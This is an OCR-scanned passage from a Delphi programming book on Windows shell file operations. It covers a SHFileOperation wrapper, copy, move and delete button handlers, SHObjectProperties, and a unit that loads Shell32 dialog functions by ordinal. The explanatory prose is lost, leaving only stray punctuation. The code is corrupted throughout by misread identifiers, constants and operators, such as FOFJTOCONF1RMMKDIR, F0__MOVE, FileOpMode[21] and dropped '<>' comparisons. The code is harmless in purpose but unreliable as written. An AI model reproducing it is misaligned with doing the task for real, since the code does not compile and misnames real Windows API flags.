Ret: integer;ipFileOp: TSHFileOpStruct;beginScreen.Cursor:=crAppStart;FiliCharfipFileOp, SizeOf(ipFileOp) , 0) ;with ipFileOp dobeginwnd : = Handle;wFunc := OpMode;pFrora := pChar(Src);pTo := pChar(Dest);if DelRicleBin thenfFlags : = FOF_ALLOWUNDOelsefFlags := FOFJTOCONF1RMMKDIR;fAnyOperationsAborted := False;hNameMappings := nil;ipszProgressTitle := '';end;try
Ret := SHFileOperation (ipFileOp);exceptRet := 1;end;result := (Ret = 0);Screen.Cursor:=crDefault,end;
-
123
sHFiieOperation TSHFiieopstruct. ipFiieop. ,
Fiiichar, . - , .
wnd , - (, , ).
wFunc , . - .
pFrom -, . -, .
fFiags . true, FOF_ALLOWUNDO. , - .
FOF_NOCONFIRMMKDIR, , -
. ( -, , "+"): FOF_FILESONLY , -
( *.*); FOF__NOCONFIRMATION
(, ); FOFJSILENT ;
FOF_SIMPLEPROGRESS , .
lpszProgressTitie , - .
fAnyoperationsAborted true, - .
var implementation :
constFileOpMode: array[0..3] of UInt =
(FO_COPY, FO_DELETE, F0__MOVE, FO_RENAME); .
:
FO_COPY ;
FO_D2LETE ;
5 . 9"8
-
124 3
D FO_MOVE ; FO_RENAME .
.
onclick . ( 3.17).
procedure TForml.CopyButtonClick(Sender: TObject);var
FSrc,FDes,FPath: string;i:Integer;beginFDes :=
if ShellListViewl.Selected=nil thenexit;
if not SelectDirectory('Select Directory', '', FDes) thenexit;
FPath:=ShellTrseViewl.Path;if FPath[Length(FPath)]'\' thenFPath:=FPath+'\';FSrc := ";
for i := 0 to ShellListViewl.items.Count-1 doif (ShellListViewl.items.itemfi].Selected) thenbeginFSrc:=FSrc+ShellListViewl.Folders[ShellListViewl.Items.Item[I].Index].PathName+#0;ShellListViewl.items.item[i].Selected:=false;end;
FSrc:=FSrc+#0;
DoSHFileOp(Handle, FileOpMode[0], FSrc, FDes, false);end;
-
125
, ,
- . , ,
.
:
if ShellListViewl.Selected=nil thenexit;
,
.
SelectDirectory. , .
. 3.18.
Select Directory
'. '{,.)
^ 3,5 (;)
& *** Data (D:):*i :
FPath:=ShellTreeViewl.Path;if FPath[Length(FPath)]'\' thenFPath:=FPath+'V;
, .
- , FSrc, #. - .
, ,
.
-
126 3
FSrc . , ##, :
for i := 0 to ShellListViewl.items.Count-1 doif (ShellListViewl.items.item[i].Selected) thenbeginFSrc:=FSrc+ShellListViewl.Folders[ShellListViewl.Items.Item[I].Index].PathName+#0;ShellListViewl.items.item[i].Selected:-false;end;
FSrc:-FSrc+#0; DoSHFiieop, - .
, FileOpModefO], FOCOPY. ( ). . -
onclick ( 3.18).
procedure TForml.MoveButtonClickfSender: TObject);var
FSrc,FDes,FPath: string;i:Integer;beginFDes :=
if ShellListViewl.Selected=nil thenexit;
if not SelectDirectory('Select Directory', '', FDes) thenexit;
FPath:=ShellTreeViewl.Path;if FPath[Length(FPath)]'\f thenFPath:=FPath+'\';FSrc := '';
-
127
for i := 0 to ShellListViewl.items.Count-1 doif (ShellListViewl.items .item[il.Selected) thenbeginFSrc:=FSrc+ShellListViewl.Folders[ShellListViewl.Iterns.Item[I].Index].Pathname+#0;ShellListViewl.items.item[i].Selected:=false;end;
FSrc:=F3rc+#0;
DoSHFileOp(Handle, FileOpMode[21, FSrc, FDes, false);end;
, .
DoSHFiieOp, FileOpMode [2], . - , ,
, .
(- 3.19).
1 3.19.
procedure TImageViewer.DelFilesActionExecute{Sender: TObject)var
i: integer;DelFName: string;beginif SheilListViewl.Selected=nil thenexit;
if FilesListView.isEditing thenexit ;
DelFName:='';for i := 0 to FilesListView.items.Count-1 doif (FilesListView.items.item[i].Selected) thenbegin
-
128 3
DeiFName:==DelFName+FilesListView.Folders[FilesListView.Items,Itemfl]-Index].PathName+#O;FilesListView.items.item[i].Selected:=false;end;
DelFName:=DelFName+#O;
DoSHFileOp{Handle, FO__DELETE, DelFName, DelFName, false) ;end;
, . -
:
1. , - - FilesListView. isEditing. , .
2. DoSHFiieOp - FODELETE, FiieOpMode[i], .
(- 3.20).
,,
procedure TForml.PropertiesButtonClick(Sender: TObject);var
FPath, FSrc:String;i:Integer;beginif ShellListViewl.Selected=nil thenexit;
SHObjectProperties(Handle, S02,PWideChar(WideString(ShellListViewl.Folders[ShellListViewl.Selected.Index].PathName)), nil);
end;
, . -
. ,
, . -
SHObjectProperties, . 4 .
-
129
-.
$oi $02 .
,
.
ni l . . 3.19 , .
: Answer
!
/**/) - - . . . .& l ^ / i | Answer
: MFC 4.0 Text Document
: l i h SuperPad [...
: ;\
; 19 (19 ) : 4,00 (4 096 )
: 29 2002 ., 13:2:56
: 25 2002 ., 13:28:58
: 4 2003 .
: Q Q 0
. 3.19.
,
SHObjectProperties, Delphi . standardDiaiogs.pas (- 3.21).*."* if- F'P' "
unit StandardDialogs;
-
130 3
interface
uses
Windows, Messages, SHIObj;
constRFFJJOBROWSE = $01;RFF_NODEFAULT = $02;RFF_CALCDIRECTORY = $04;RFF_NOLABEL = $08;RFF__NOSEPARATEMEM = $20;
//Notification Return Values//Allow the Application to run.RFjDK = $00;//Cancel the operation and close the dialog.RF_CANCEL = $01;//Cancel the operation, but leave the dialog open.RF__RETRY = $02;
//SHObjectProperties FlagsOPF__PRINTERNAME = $01;OPF_PATHNAME = $02;
typeNMJWNFILEDLG = r e c o r d
h d r : NMHDR;
lpFile: PChar;
ipDirectory: PChar;
nShow: Integer;
end;
TSHPicklconDlg = function(hwndOwner: HWND; lpstrFile: LPWSTR;var pdwBufferSize: DWord; var lpdwlconlndex: DWord): Boolean;
stdcall;
TSHRunFileDlg = procedure(hwndOwner: HWND; hlcon: HICON;ipstrDirectory, lpstrTitle, ipstrDescription: PChar;
-
131
Flags: longint); stdcall;
TSHRestartDlg = function(hwndOwner: HWND;
Reason: PAnsiChar; flag: longint): Longint; stdcall;
TSHExitWindowsDlg = procedurefhwndOwner: HWND); stdcall;
TSHFindComputer = function(pidlRoot,pidlSavedSearch: PItemlDList): Boolean; stdcall;
TSHFindFiles = function(pidlRoot,pidlSavedSearch: PItemlDList): Boolean; stdcall;
TSHObjectProperties = function(hwndOwner: HWND; uFlags:Integer; lpstrName, lpstrParameters: LPWSTR): Boolean; stdcall;
TSHOutOfMemoryMessageBox = function(Owner: HWND; Caption: Pointer;style: UINT): Integer; stdcall;
TSHHandleDiskFull = procedure(Owner: HWND; Drive: UINT); stdcall;
var
SHPicklconDlg: TSHPicklconDlg;SHHandleDiskFull: TSHHandleDiskFull;SHOutOfMemoryMessageBox: TSHOutOfMemoryMessageBox;SHObjectProperties: TSHObjectProperties;SHFindComputer: TSHFindComputer;SHFindFiles: TSHFindComputer;SHRunFileDlg: TSHRunFileDlg;SHRestartDlg: TSHRestartDlg;SHExitWindowsDlg: TSHExitWindowsDlg;
implementation
constDllName = 'Shell32.dll1;
var
hDll: THandle;
-
132 3
initializationhDll := LoadLibrary(DllName);if hDll 0 thenbegin// (rom) is load by ID really good?SHPicklconDlg := GetProcAddress(hDll, PChar(62));SHHandleDiskFull := GetProcAddress(hDll, PChar(185));SHOutOfMemoryMessageBox := GetProcAddress(hDll, PChar(126));SHObjectProperties := GetProcAddress(hDll, PChar(178));SHFindComputer := GetProcAddress(hDll, PChar(91)};SHFindFiles := GetProcAddress(hDll, PChar(90));SHRunFileDlg :*= GetProcAddress (hDll, PChar(61));SHRestartDlg := GetProcAddress(hDll, PChar(59));SHExitWindowsDlg := GetProcAddress(hDll, PChar(60));end
finalizationif hDll 0 thenFreeLibrary(hDll);
end.
uses standardDiaiogs - . .
- \\ 3\File Operation .
-
4
-
Delphi. , , , Delphi, - .
, ""
, :
1. .2. .3. . . -
.
. -
.
, .
, . 5 .
, .
-
WinAPI, , - . -
, ,
.